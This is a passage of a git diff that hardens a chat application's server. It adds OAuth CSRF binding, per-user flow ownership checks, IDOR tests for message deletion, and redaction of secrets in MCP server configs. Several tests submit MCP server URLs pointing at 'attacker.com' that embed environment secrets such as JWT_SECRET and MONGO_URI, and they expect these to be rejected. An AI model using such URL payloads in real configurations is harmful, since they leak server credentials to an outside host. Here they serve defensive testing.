+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`);
- // Verify storeTokens was called with ORIGINAL flow state credentials
expect(MCPTokenStorage.storeTokens).toHaveBeenCalledWith(
expect.objectContaining({
userId: 'test-user-id',
serverName: 'test-server',
tokens: mockTokens,
- clientInfo: clientInfo, // Uses original flow state, not any "updated" credentials
+ clientInfo: clientInfo,
metadata: flowState.metadata,
}),
);
@@ -631,16 +835,21 @@ describe('MCP Routes', () => {
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
- const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({
- code: 'test-auth-code',
- state: 'test-flow-id',
- });
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
+ .query({
+ code: 'test-auth-code',
+ state: flowId,
+ });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`);
- // Verify completeOAuthFlow was NOT called (prevented duplicate)
expect(MCPOAuthHandler.completeOAuthFlow).not.toHaveBeenCalled();
expect(MCPTokenStorage.storeTokens).not.toHaveBeenCalled();
});
@@ -755,7 +964,7 @@ describe('MCP Routes', () => {
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
- const response = await request(app).get('/api/mcp/oauth/status/test-flow-id');
+ const response = await request(app).get('/api/mcp/oauth/status/test-user-id:test-server');
expect(response.status).toBe(200);
expect(response.body).toEqual({
@@ -766,6 +975,13 @@ describe('MCP Routes', () => {
});
});
+ it('should return 403 when flowId does not match authenticated user', async () => {
+ const response = await request(app).get('/api/mcp/oauth/status/other-user-id:test-server');
+
+ expect(response.status).toBe(403);
+ expect(response.body).toEqual({ error: 'Access denied' });
+ });
+
it('should return 404 when flow is not found', async () => {
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue(null),
@@ -774,7 +990,7 @@ describe('MCP Routes', () => {
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
- const response = await request(app).get('/api/mcp/oauth/status/non-existent-flow');
+ const response = await request(app).get('/api/mcp/oauth/status/test-user-id:non-existent');
expect(response.status).toBe(404);
expect(response.body).toEqual({ error: 'Flow not found' });
@@ -788,7 +1004,7 @@ describe('MCP Routes', () => {
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
- const response = await request(app).get('/api/mcp/oauth/status/error-flow-id');
+ const response = await request(app).get('/api/mcp/oauth/status/test-user-id:error-server');
expect(response.status).toBe(500);
expect(response.body).toEqual({ error: 'Failed to get flow status' });
@@ -1375,7 +1591,7 @@ describe('MCP Routes', () => {
refresh_token: 'edge-refresh-token',
};
MCPOAuthHandler.getFlowState = jest.fn().mockResolvedValue({
- id: 'test-flow-id',
+ id: 'test-user-id:test-server',
userId: 'test-user-id',
metadata: {
serverUrl: 'https://example.com',
@@ -1403,8 +1619,12 @@ describe('MCP Routes', () => {
};
require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
const response = await request(app)
- .get('/api/mcp/test-server/oauth/callback?code=test-code&state=test-flow-id')
+ .get(`/api/mcp/test-server/oauth/callback?code=test-code&state=${flowId}`)
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
.expect(302);
const basePath = getBasePath();
@@ -1424,7 +1644,7 @@ describe('MCP Routes', () => {
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue({
- id: 'test-flow-id',
+ id: 'test-user-id:test-server',
userId: 'test-user-id',
metadata: { serverUrl: 'https://example.com', oauth: {} },
clientInfo: {},
@@ -1453,8 +1673,12 @@ describe('MCP Routes', () => {
};
require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
+ const flowId = 'test-user-id:test-server';
+ const csrfToken = generateTestCsrfToken(flowId);
+
const response = await request(app)
- .get('/api/mcp/test-server/oauth/callback?code=test-code&state=test-flow-id')
+ .get(`/api/mcp/test-server/oauth/callback?code=test-code&state=${flowId}`)
+ .set('Cookie', [`oauth_csrf=${csrfToken}`])
.expect(302);
const basePath = getBasePath();
@@ -1469,12 +1693,14 @@ describe('MCP Routes', () => {
it('should return all server configs for authenticated user', async () => {
const mockServerConfigs = {
'server-1': {
- endpoint: 'http://server1.com',
- name: 'Server 1',
+ type: 'sse',
+ url: 'http://server1.com/sse',
+ title: 'Server 1',
},
'server-2': {
- endpoint: 'http://server2.com',
- name: 'Server 2',
+ type: 'sse',
+ url: 'http://server2.com/sse',
+ title: 'Server 2',
},
};
@@ -1483,7 +1709,18 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers');
expect(response.status).toBe(200);
- expect(response.body).toEqual(mockServerConfigs);
+ expect(response.body['server-1']).toMatchObject({
+ type: 'sse',
+ url: 'http://server1.com/sse',
+ title: 'Server 1',
+ });
+ expect(response.body['server-2']).toMatchObject({
+ type: 'sse',
+ url: 'http://server2.com/sse',
+ title: 'Server 2',
+ });
+ expect(response.body['server-1'].headers).toBeUndefined();
+ expect(response.body['server-2'].headers).toBeUndefined();
expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
});
@@ -1538,10 +1775,10 @@ describe('MCP Routes', () => {
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
expect(response.status).toBe(201);
- expect(response.body).toEqual({
- serverName: 'test-sse-server',
- ...validConfig,
- });
+ expect(response.body.serverName).toBe('test-sse-server');
+ expect(response.body.type).toBe('sse');
+ expect(response.body.url).toBe('https://mcp-server.example.com/sse');
+ expect(response.body.title).toBe('Test SSE Server');
expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
'temp_server_name',
expect.objectContaining({
@@ -1595,6 +1832,78 @@ describe('MCP Routes', () => {
expect(response.body.message).toBe('Invalid configuration');
});
+ it('should reject SSE URL containing env variable references', async () => {
+ const response = await request(app)
+ .post('/api/mcp/servers')
+ .send({
+ config: {
+ type: 'sse',
+ url: 'http://attacker.com/?secret=${JWT_SECRET}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject streamable-http URL containing env variable references', async () => {
+ const response = await request(app)
+ .post('/api/mcp/servers')
+ .send({
+ config: {
+ type: 'streamable-http',
+ url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject websocket URL containing env variable references', async () => {
+ const response = await request(app)
+ .post('/api/mcp/servers')
+ .send({
+ config: {
+ type: 'websocket',
+ url: 'ws://attacker.com/?secret=${MONGO_URI}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+ });
+
+ it('should redact secrets from create response', async () => {
+ const validConfig = {
+ type: 'sse',
+ url: 'https://mcp-server.example.com/sse',
+ title: 'Test Server',
+ };
+
+ mockRegistryInstance.addServer.mockResolvedValue({
+ serverName: 'test-server',
+ config: {
+ ...validConfig,
+ apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' },
+ oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' },
+ headers: { Authorization: 'Bearer leaked-token' },
+ },
+ });
+
+ const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
+
+ expect(response.status).toBe(201);
+ expect(response.body.apiKey?.key).toBeUndefined();
+ expect(response.body.oauth?.client_secret).toBeUndefined();
+ expect(response.body.headers).toBeUndefined();
+ expect(response.body.apiKey?.source).toBe('admin');
+ expect(response.body.oauth?.client_id).toBe('cid');
+ });
+
it('should return 500 when registry throws error', async () => {
const validConfig = {
type: 'sse',
@@ -1624,7 +1933,9 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers/test-server');
expect(response.status).toBe(200);
- expect(response.body).toEqual(mockConfig);
+ expect(response.body.type).toBe('sse');
+ expect(response.body.url).toBe('https://mcp-server.example.com/sse');
+ expect(response.body.title).toBe('Test Server');
expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
'test-server',
'test-user-id',
@@ -1640,6 +1951,29 @@ describe('MCP Routes', () => {
expect(response.body).toEqual({ message: 'MCP server not found' });
});
+ it('should redact secrets from get response', async () => {
+ mockRegistryInstance.getServerConfig.mockResolvedValue({
+ type: 'sse',
+ url: 'https://mcp-server.example.com/sse',
+ title: 'Secret Server',
+ apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' },
+ oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' },
+ headers: { Authorization: 'Bearer internal-token' },
+ oauth_headers: { 'X-OAuth': 'secret-value' },
+ });
+
+ const response = await request(app).get('/api/mcp/servers/secret-server');
+
+ expect(response.status).toBe(200);
+ expect(response.body.title).toBe('Secret Server');
+ expect(response.body.apiKey?.key).toBeUndefined();
+ expect(response.body.apiKey?.source).toBe('admin');
+ expect(response.body.oauth?.client_secret).toBeUndefined();
+ expect(response.body.oauth?.client_id).toBe('cid');
+ expect(response.body.headers).toBeUndefined();
+ expect(response.body.oauth_headers).toBeUndefined();
+ });
+
it('should return 500 when registry throws error', async () => {
mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
@@ -1666,7 +2000,9 @@ describe('MCP Routes', () => {
.send({ config: updatedConfig });
expect(response.status).toBe(200);
- expect(response.body).toEqual(updatedConfig);
+ expect(response.body.type).toBe('sse');
+ expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse');
+ expect(response.body.title).toBe('Updated Server');
expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
'test-server',
expect.objectContaining({
@@ -1678,6 +2014,35 @@ describe('MCP Routes', () => {
);
});
+ it('should redact secrets from update response', async () => {
+ const validConfig = {
+ type: 'sse',
+ url: 'https://mcp-server.example.com/sse',
+ title: 'Updated Server',
+ };
+
+ mockRegistryInstance.updateServer.mockResolvedValue({
+ ...validConfig,
+ apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' },
+ oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' },
+ headers: { Authorization: 'Bearer internal-token' },
+ env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' },
+ });
+
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({ config: validConfig });
+
+ expect(response.status).toBe(200);
+ expect(response.body.title).toBe('Updated Server');
+ expect(response.body.apiKey?.key).toBeUndefined();
+ expect(response.body.apiKey?.source).toBe('admin');
+ expect(response.body.oauth?.client_secret).toBeUndefined();
+ expect(response.body.oauth?.client_id).toBe('cid');
+ expect(response.body.headers).toBeUndefined();
+ expect(response.body.env).toBeUndefined();
+ });
+
it('should return 400 for invalid configuration', async () => {
const invalidConfig = {
type: 'sse',
@@ -1694,6 +2059,51 @@ describe('MCP Routes', () => {
expect(response.body.errors).toBeDefined();
});
+ it('should reject SSE URL containing env variable references', async () => {
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({
+ config: {
+ type: 'sse',
+ url: 'http://attacker.com/?secret=${JWT_SECRET}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject streamable-http URL containing env variable references', async () => {
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({
+ config: {
+ type: 'streamable-http',
+ url: 'http://attacker.com/?key=${CREDS_KEY}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject websocket URL containing env variable references', async () => {
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({
+ config: {
+ type: 'websocket',
+ url: 'ws://attacker.com/?secret=${MONGO_URI}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+ });
+
it('should return 500 when registry throws error', async () => {
const validConfig = {
type: 'sse',
diff --git a/api/server/routes/__tests__/messages-delete.spec.js b/api/server/routes/__tests__/messages-delete.spec.js
new file mode 100644
index 0000000000..e134eecfd0
--- /dev/null
+++ b/api/server/routes/__tests__/messages-delete.spec.js
@@ -0,0 +1,200 @@
+const mongoose = require('mongoose');
+const express = require('express');
+const request = require('supertest');
+const { v4: uuidv4 } = require('uuid');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+
+jest.mock('@librechat/agents', () => ({
+ sleep: jest.fn(),
+}));
+
+jest.mock('@librechat/api', () => ({
+ unescapeLaTeX: jest.fn((x) => x),
+ countTokens: jest.fn().mockResolvedValue(10),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ ...jest.requireActual('@librechat/data-schemas'),
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+}));
+
+jest.mock('~/models', () => ({
+ saveConvo: jest.fn(),
+ getMessage: jest.fn(),
+ saveMessage: jest.fn(),
+ getMessages: jest.fn(),
+ updateMessage: jest.fn(),
+ deleteMessages: jest.fn(),
+}));
+
+jest.mock('~/server/services/Artifacts/update', () => ({
+ findAllArtifacts: jest.fn(),
+ replaceArtifactContent: jest.fn(),
+}));
+
+jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
+
+jest.mock('~/server/middleware', () => ({
+ requireJwtAuth: (req, res, next) => next(),
+ validateMessageReq: (req, res, next) => next(),
+}));
+
+jest.mock('~/models/Conversation', () => ({
+ getConvosQueried: jest.fn(),
+}));
+
+jest.mock('~/db/models', () => ({
+ Message: {
+ findOne: jest.fn(),
+ find: jest.fn(),
+ meiliSearch: jest.fn(),
+ },
+}));
+
+/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */
+
+const { messageSchema } = require('@librechat/data-schemas');
+
+describe('deleteMessages – model-level IDOR prevention', () => {
+ let mongoServer;
+ let Message;
+
+ const ownerUserId = 'user-owner-111';
+ const attackerUserId = 'user-attacker-222';
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ Message = mongoose.models.Message || mongoose.model('Message', messageSchema);
+ await mongoose.connect(mongoServer.getUri());
+ });
+
+ afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await Message.deleteMany({});
+ });
+
+ it("should NOT delete another user's message when attacker supplies victim messageId", async () => {
+ const conversationId = uuidv4();
+ const victimMsgId = 'victim-msg-001';
+
+ await Message.create({
+ messageId: victimMsgId,
+ conversationId,
+ user: ownerUserId,
+ text: 'Sensitive owner data',
+ });
+
+ await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId });
+
+ const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean();
+ expect(victimMsg).not.toBeNull();
+ expect(victimMsg.user).toBe(ownerUserId);
+ expect(victimMsg.text).toBe('Sensitive owner data');
+ });
+
+ it("should delete the user's own message", async () => {
+ const conversationId = uuidv4();
+ const ownMsgId = 'own-msg-001';
+
+ await Message.create({
+ messageId: ownMsgId,
+ conversationId,
+ user: ownerUserId,
+ text: 'My message',
+ });
+
+ const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId });
+ expect(result.deletedCount).toBe(1);
+
+ const deleted = await Message.findOne({ messageId: ownMsgId }).lean();
+ expect(deleted).toBeNull();
+ });
+
+ it('should scope deletion by conversationId, messageId, and user together', async () => {
+ const convoA = uuidv4();
+ const convoB = uuidv4();
+
+ await Message.create([
+ { messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' },
+ { messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' },
+ ]);
+
+ await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId });
+
+ const remaining = await Message.find({ user: ownerUserId }).lean();
+ expect(remaining).toHaveLength(2);
+ });
+});
+
+/* ─── Route-level tests: supertest + mocked deleteMessages ─── */
+
+describe('DELETE /:conversationId/:messageId – route handler', () => {
+ let app;
+ const { deleteMessages } = require('~/models');
+
+ const authenticatedUserId = 'user-owner-123';
+
+ beforeAll(() => {
+ const messagesRouter = require('../messages');
+
+ app = express();
+ app.use(express.json());
+ app.use((req, res, next) => {
+ req.user = { id: authenticatedUserId };
+ next();
+ });
+ app.use('/api/messages', messagesRouter);
+ });
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('should pass user and conversationId in the deleteMessages filter', async () => {
+ deleteMessages.mockResolvedValue({ deletedCount: 1 });
+
+ await request(app).delete('/api/messages/convo-1/msg-1');
+
+ expect(deleteMessages).toHaveBeenCalledTimes(1);
+ expect(deleteMessages).toHaveBeenCalledWith({
+ messageId: 'msg-1',
+ conversationId: 'convo-1',
+ user: authenticatedUserId,
+ });
+ });
+
+ it('should return 204 on successful deletion', async () => {
+ deleteMessages.mockResolvedValue({ deletedCount: 1 });
+
+ const response = await request(app).delete('/api/messages/convo-1/msg-owned');
+
+ expect(response.status).toBe(204);
+ expect(deleteMessages).toHaveBeenCalledWith({
+ messageId: 'msg-owned',
+ conversationId: 'convo-1',
+ user: authenticatedUserId,
+ });
+ });
+
+ it('should return 500 when deleteMessages throws', async () => {
+ deleteMessages.mockRejectedValue(new Error('DB failure'));
+
+ const response = await request(app).delete('/api/messages/convo-1/msg-1');
+
+ expect(response.status).toBe(500);
+ expect(response.body).toEqual({ error: 'Internal server error' });
+ });
+});
diff --git a/api/server/routes/accessPermissions.js b/api/server/routes/accessPermissions.js
index 79e7f3ddca..45afec133b 100644
--- a/api/server/routes/accessPermissions.js
+++ b/api/server/routes/accessPermissions.js
@@ -53,6 +53,12 @@ const checkResourcePermissionAccess = (requiredPermission) => (req, res, next) =
requiredPermission,
resourceIdParam: 'resourceId',
});
+ } else if (resourceType === ResourceType.REMOTE_AGENT) {
+ middleware = canAccessResource({
+ resourceType: ResourceType.REMOTE_AGENT,
+ requiredPermission,
+ resourceIdParam: 'resourceId',
+ });
} else if (resourceType === ResourceType.PROMPTGROUP) {
middleware = canAccessResource({
resourceType: ResourceType.PROMPTGROUP,
diff --git a/api/server/routes/actions.js b/api/server/routes/actions.js
index 14474a53d3..806edc66cc 100644
--- a/api/server/routes/actions.js
+++ b/api/server/routes/actions.js
@@ -1,14 +1,47 @@
const express = require('express');
const jwt = require('jsonwebtoken');
-const { getAccessToken, getBasePath } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { CacheKeys } = require('librechat-data-provider');
+const {
+ getBasePath,
+ getAccessToken,
+ setOAuthSession,
+ validateOAuthCsrf,
+ OAUTH_CSRF_COOKIE,
+ setOAuthCsrfCookie,
+ validateOAuthSession,
+ OAUTH_SESSION_COOKIE,
+} = require('@librechat/api');
const { findToken, updateToken, createToken } = require('~/models');
+const { requireJwtAuth } = require('~/server/middleware');
const { getFlowStateManager } = require('~/config');
const { getLogStores } = require('~/cache');
const router = express.Router();
const JWT_SECRET = process.env.JWT_SECRET;
+const OAUTH_CSRF_COOKIE_PATH = '/api/actions';
+
+/**
+ * Sets a CSRF cookie binding the action OAuth flow to the current browser session.
+ * Must be called before the user opens the IdP authorization URL.
+ *
+ * @route POST /actions/:action_id/oauth/bind
+ */
+router.post('/:action_id/oauth/bind', requireJwtAuth, setOAuthSession, async (req, res) => {
+ try {
+ const { action_id } = req.params;
+ const user = req.user;
+ if (!user?.id) {
+ return res.status(401).json({ error: 'User not authenticated' });
+ }
+ const flowId = `${user.id}:${action_id}`;
+ setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
+ res.json({ success: true });
+ } catch (error) {
+ logger.error('[Action OAuth] Failed to set CSRF binding cookie', error);
+ res.status(500).json({ error: 'Failed to bind OAuth flow' });
+ }
+});
/**
* Handles the OAuth callback and exchanges the authorization code for tokens.
@@ -45,7 +78,22 @@ router.get('/:action_id/oauth/callback', async (req, res) => {
await flowManager.failFlow(identifier, 'oauth', 'Invalid user ID in state parameter');
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
}
+
identifier = `${decodedState.user}:${action_id}`;
+
+ if (
+ !validateOAuthCsrf(req, res, identifier, OAUTH_CSRF_COOKIE_PATH) &&
+ !validateOAuthSession(req, decodedState.user)
+ ) {
+ logger.error('[Action OAuth] CSRF validation failed: no valid CSRF or session cookie', {
+ identifier,
+ hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
+ hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
+ });
+ await flowManager.failFlow(identifier, 'oauth', 'CSRF validation failed');
+ return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
+ }
+
const flowState = await flowManager.getFlowState(identifier, 'oauth');
if (!flowState) {
throw new Error('OAuth flow not found');
@@ -71,7 +119,6 @@ router.get('/:action_id/oauth/callback', async (req, res) => {
);
await flowManager.completeFlow(identifier, 'oauth', tokenData);
- /** Redirect to React success page */
const serverName = flowState.metadata?.action_name || `Action ${action_id}`;
const redirectUrl = `${basePath}/oauth/success?serverName=${encodeURIComponent(serverName)}`;
res.redirect(redirectUrl);
diff --git a/api/server/routes/admin/auth.js b/api/server/routes/admin/auth.js
new file mode 100644
index 0000000000..291b5eaaf8
--- /dev/null
+++ b/api/server/routes/admin/auth.js
@@ -0,0 +1,127 @@
+const express = require('express');
+const passport = require('passport');
+const { randomState } = require('openid-client');
+const { logger } = require('@librechat/data-schemas');
+const { CacheKeys } = require('librechat-data-provider');
+const {
+ requireAdmin,
+ getAdminPanelUrl,
+ exchangeAdminCode,
+ createSetBalanceConfig,
+} = require('@librechat/api');
+const { loginController } = require('~/server/controllers/auth/LoginController');
+const { createOAuthHandler } = require('~/server/controllers/auth/oauth');
+const { getAppConfig } = require('~/server/services/Config');
+const getLogStores = require('~/cache/getLogStores');
+const { getOpenIdConfig } = require('~/strategies');
+const middleware = require('~/server/middleware');
+const { Balance } = require('~/db/models');
+
+const setBalanceConfig = createSetBalanceConfig({
+ getAppConfig,
+ Balance,
+});
+
+const router = express.Router();
+
+router.post(
+ '/login/local',
+ middleware.logHeaders,
+ middleware.loginLimiter,
+ middleware.checkBan,
+ middleware.requireLocalAuth,
+ requireAdmin,
+ setBalanceConfig,
+ loginController,
+);
+
+router.get('/verify', middleware.requireJwtAuth, requireAdmin, (req, res) => {
+ const { password: _p, totpSecret: _t, __v, ...user } = req.user;
+ user.id = user._id.toString();
+ res.status(200).json({ user });
+});
+
+router.get('/oauth/openid/check', (req, res) => {
+ const openidConfig = getOpenIdConfig();
+ if (!openidConfig) {
+ return res.status(404).json({
+ error: 'OpenID configuration not found',
+ error_code: 'OPENID_NOT_CONFIGURED',
+ });
+ }
+ res.status(200).json({ message: 'OpenID check successful' });
+});
+
+router.get('/oauth/openid', (req, res, next) => {
+ return passport.authenticate('openidAdmin', {
+ session: false,
+ state: randomState(),
+ })(req, res, next);
+});
+
+router.get(
+ '/oauth/openid/callback',
+ passport.authenticate('openidAdmin', {
+ failureRedirect: `${getAdminPanelUrl()}/auth/openid/callback?error=auth_failed&error_description=Authentication+failed`,
+ failureMessage: true,
+ session: false,
+ }),
+ requireAdmin,
+ setBalanceConfig,
+ middleware.checkDomainAllowed,
+ createOAuthHandler(`${getAdminPanelUrl()}/auth/openid/callback`),
+);
+
+/** Regex pattern for valid exchange codes: 64 hex characters */
+const EXCHANGE_CODE_PATTERN = /^[a-f0-9]{64}$/i;
+
+/**
+ * Exchange OAuth authorization code for tokens.
+ * This endpoint is called server-to-server by the admin panel.
+ * The code is one-time-use and expires in 30 seconds.
+ *
+ * POST /api/admin/oauth/exchange
+ * Body: { code: string }
+ * Response: { token: string, refreshToken: string, user: object }
+ */
+router.post('/oauth/exchange', middleware.loginLimiter, async (req, res) => {
+ try {
+ const { code } = req.body;
+
+ if (!code) {
+ logger.warn('[admin/oauth/exchange] Missing authorization code');
+ return res.status(400).json({
+ error: 'Missing authorization code',
+ error_code: 'MISSING_CODE',
+ });
+ }
+
+ if (typeof code !== 'string' || !EXCHANGE_CODE_PATTERN.test(code)) {
+ logger.warn('[admin/oauth/exchange] Invalid authorization code format');
+ return res.status(400).json({
+ error: 'Invalid authorization code format',
+ error_code: 'INVALID_CODE_FORMAT',
+ });
+ }
+
+ const cache = getLogStores(CacheKeys.ADMIN_OAUTH_EXCHANGE);
+ const result = await exchangeAdminCode(cache, code);
+
+ if (!result) {
+ return res.status(401).json({
+ error: 'Invalid or expired authorization code',
+ error_code: 'INVALID_OR_EXPIRED_CODE',
+ });
+ }
+
+ res.json(result);
+ } catch (error) {
+ logger.error('[admin/oauth/exchange] Error:', error);
+ res.status(500).json({
+ error: 'Internal server error',
+ error_code: 'INTERNAL_ERROR',
+ });
+ }
+});
+
+module.exports = router;
diff --git a/api/server/routes/agents/__tests__/abort.spec.js b/api/server/routes/agents/__tests__/abort.spec.js
index e879d51452..442665d973 100644
--- a/api/server/routes/agents/__tests__/abort.spec.js
+++ b/api/server/routes/agents/__tests__/abort.spec.js
@@ -26,10 +26,12 @@ const mockGenerationJobManager = {
const mockSaveMessage = jest.fn();
jest.mock('@librechat/data-schemas', () => ({
+ ...jest.requireActual('@librechat/data-schemas'),
logger: mockLogger,
}));
jest.mock('@librechat/api', () => ({
+ ...jest.requireActual('@librechat/api'),
isEnabled: jest.fn().mockReturnValue(false),
GenerationJobManager: mockGenerationJobManager,
}));
diff --git a/api/server/routes/agents/__tests__/responses.spec.js b/api/server/routes/agents/__tests__/responses.spec.js
new file mode 100644
index 0000000000..4d83219b84
--- /dev/null
+++ b/api/server/routes/agents/__tests__/responses.spec.js
@@ -0,0 +1,1125 @@
+/**
+ * Open Responses API Integration Tests
+ *
+ * Tests the /v1/responses endpoint against the Open Responses specification
+ * compliance tests. Uses real Anthropic API for LLM calls.
+ *
+ * @see https://openresponses.org/specification
+ * @see https://github.com/openresponses/openresponses/blob/main/src/lib/compliance-tests.ts
+ */
+
+// Load environment variables from root .env file for API keys
+require('dotenv').config({ path: require('path').resolve(__dirname, '../../../../../.env') });
+
+const originalEnv = {
+ CREDS_KEY: process.env.CREDS_KEY,
+ CREDS_IV: process.env.CREDS_IV,
+};
+
+process.env.CREDS_KEY = '0123456789abcdef0123456789abcdef';
+process.env.CREDS_IV = '0123456789abcdef';
+
+/** Skip tests if ANTHROPIC_API_KEY is not available */
+const SKIP_INTEGRATION_TESTS = !process.env.ANTHROPIC_API_KEY;
+if (SKIP_INTEGRATION_TESTS) {
+ console.warn('ANTHROPIC_API_KEY not found - skipping integration tests');
+}
+
+jest.mock('meilisearch', () => ({
+ MeiliSearch: jest.fn().mockImplementation(() => ({
+ getIndex: jest.fn().mockRejectedValue(new Error('mocked')),
+ index: jest.fn().mockReturnValue({
+ getRawInfo: jest.fn().mockResolvedValue({ primaryKey: 'id' }),
+ updateSettings: jest.fn().mockResolvedValue({}),
+ addDocuments: jest.fn().mockResolvedValue({}),
+ updateDocuments: jest.fn().mockResolvedValue({}),
+ deleteDocument: jest.fn().mockResolvedValue({}),
+ }),
+ })),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+ loadCustomConfig: jest.fn(() => Promise.resolve({})),
+ getAppConfig: jest.fn().mockResolvedValue({
+ paths: {
+ uploads: '/tmp',
+ dist: '/tmp/dist',
+ fonts: '/tmp/fonts',
+ assets: '/tmp/assets',
+ },
+ fileStrategy: 'local',
+ imageOutputType: 'PNG',
+ endpoints: {
+ agents: {
+ allowedProviders: ['anthropic', 'openAI'],
+ },
+ },
+ }),
+ setCachedTools: jest.fn(),
+ getCachedTools: jest.fn(),
+ getMCPServerTools: jest.fn().mockReturnValue([]),
+}));
+
+jest.mock('~/app/clients/tools', () => ({
+ createOpenAIImageTools: jest.fn(() => []),
+ createYouTubeTools: jest.fn(() => []),
+ manifestToolMap: {},
+ toolkits: [],
+}));
+
+jest.mock('~/config', () => ({
+ createMCPServersRegistry: jest.fn(),
+ createMCPManager: jest.fn().mockResolvedValue({
+ getAppToolFunctions: jest.fn().mockResolvedValue({}),
+ }),
+}));
+
+const express = require('express');
+const request = require('supertest');
+const mongoose = require('mongoose');
+const { v4: uuidv4 } = require('uuid');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const { hashToken, getRandomValues, createModels } = require('@librechat/data-schemas');
+const {
+ SystemRoles,
+ ResourceType,
+ AccessRoleIds,
+ PrincipalType,
+ PrincipalModel,
+ PermissionBits,
+ EModelEndpoint,
+} = require('librechat-data-provider');
+
+/** @type {import('mongoose').Model} */
+let Agent;
+/** @type {import('mongoose').Model} */
+let AgentApiKey;
+/** @type {import('mongoose').Model} */
+let User;
+/** @type {import('mongoose').Model} */
+let AclEntry;
+/** @type {import('mongoose').Model} */
+let AccessRole;
+
+/**
+ * Parse SSE stream into events
+ * @param {string} text - Raw SSE text
+ * @returns {Array<{event: string, data: unknown}>}
+ */
+function parseSSEEvents(text) {
+ const events = [];
+ const lines = text.split('\n');
+
+ let currentEvent = '';
+ let currentData = '';
+
